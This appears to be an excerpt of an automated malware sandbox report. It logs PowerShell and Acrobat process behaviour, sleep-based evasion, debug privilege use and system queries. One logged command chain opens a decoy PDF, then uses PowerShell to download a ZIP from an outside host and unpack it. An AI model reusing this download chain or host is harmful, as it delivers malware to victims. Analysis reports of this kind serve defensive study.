Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5676			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6155			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3480			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2092

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep count: 6155 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep count: 3480 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4980	Thread sleep time: -23980767295822402s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1760	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6260	Thread sleep count: 7477 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6532	Thread sleep count: 2092 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6064	Thread sleep time: -12912720851596678s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000007.00000002.2679393383.000001FB4B85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2676836204.000001FB4622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000005.00000002.2083598394.0000028A19A90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"			Jump to behavior

Language, Device and Operating System Detection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation